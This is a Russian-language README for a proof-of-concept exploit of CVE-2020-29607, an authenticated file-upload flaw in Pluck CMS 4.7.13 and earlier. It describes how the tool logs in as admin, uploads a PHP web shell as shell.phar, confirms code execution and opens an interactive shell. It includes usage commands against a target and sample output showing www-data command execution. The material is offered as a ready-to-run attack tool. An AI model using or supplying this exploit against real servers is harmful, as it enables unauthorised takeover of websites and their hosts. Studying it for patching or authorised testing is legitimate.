CVE-2020-29607 — Pluck CMS <= 4.7.13: аутентифицированная загрузка файла с удалённым выполнением кода (PoC)

Аутентифицированное удалённое выполнение кода в Pluck CMS до версии 4.7.13. Менеджер файлов администратора (admin.php?action=files) не проверяет расширения файлов, что позволяет загружать файлы .phar, которые Apache выполняет как PHP. Загрузка веб-шелла через эту конечную точку приводит к RCE с правами пользователя веб-сервера.

Как это работает

1. Выполняет аутентификацию с использованием указанного пароля администратора.
2. Загружает PHP-веб-шелл как shell.phar через менеджер файлов администратора.
3. Проверяет выполнение, запрашивая шелл и запуская id.
4. Открывает интерактивный цикл команд для взаимодействия с загруженным веб-шеллом.

Требования

• Python 3
• Установите зависимости:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

Использование

# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD

# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck

Пример:

$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

Ссылки

• CVE-2020-29607
• EDB-49909
• Оригинальный PoC от Ron Jost (Hacker5preme)

Благодарности

• Обнаружение и оригинальный эксплойт: Ron Jost (Hacker5preme)
• Портирование на Python 3 и интерактивная оболочка: Esteban Zárate